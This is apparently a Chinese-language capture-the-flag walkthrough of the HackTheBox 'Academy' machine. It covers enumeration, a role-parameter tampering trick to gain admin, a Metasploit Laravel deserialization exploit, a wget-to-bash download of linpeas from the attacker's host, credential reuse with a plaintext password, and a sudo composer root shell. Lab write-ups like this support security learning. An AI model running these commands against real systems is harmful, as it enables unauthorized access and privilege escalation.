HackTheBox: Academy Write-up
Enumeration
使用Nmap掃描目標開放端口
nmap -sCV 10.10.10.215
目標開放22(ssh)和80(http)端口 將academy.htb
添加至/etc/hosts
,然後訪問網站 http://academy.htb/
該網站有login.php
和register.php
可以註冊並登入
http://academy.htb/login.php
http://academy.htb/register.php
使用dirsearch枚舉目錄
dirsearch -u http://academy.htb/ -i 200 -e php
可以訪問admin.php
http://academy.htb/admin.php
註冊時,使用Burp Suite
攔截HTTP請求 將roleid=0
為roleid=1
可以註冊為admin並登入admin.php
登入後可以發現另一個子域名dev-staging-01.academy.htb
訪問dev-staging-01.academy.htb
可以發現WEB框架為Laravel
,另外還有APP_KEY
可以使用Hacktricks提到的Laravel滲透測試方式
Foothold
使用metasploit來exploit
msfconsole
use unix/http/laravel_token_unserialize_exec
set APP_KEY {base64}
set RHOSTS {target}
set LHOST {your_ip}
set LPORT {your_port}
exploit -j
Get shell 升級為Full TTY shell
script /dev/null -qc /bin/bash
CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 24 columns 80; reset;
Lateral Movement
使用linpeas.sh
進行枚舉
wget -O - http://{your_ip]}/linpeas.sh | bash
使用者列表 在/var/www/html/academy/.env
找到DB_PASSWORD DB_PASSWORD也可以用於cry0l1t3
cry0l1t3
也是adm群組的成員,可以讀取/var/log
繼續使用linpeas.sh
枚舉可以找到mrb3n
的password 使用SSH連線
sshpass -p 'mrb3n_Ac@d3my!' ssh mrb3n@academy.htb
Privilege Escalation
執行sudo -l
發現mrb3n可以root身分執行/usr/bin/composer
GTFOBins
上有利用composer提升權限的方式
[GTFOBins]https://gtfobins.github.io/gtfobins/composer/#sudo
TF=$(mktemp -d)
echo '{"scripts":{"x":"/bin/bash -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
sudo composer --working-dir=$TF run-script x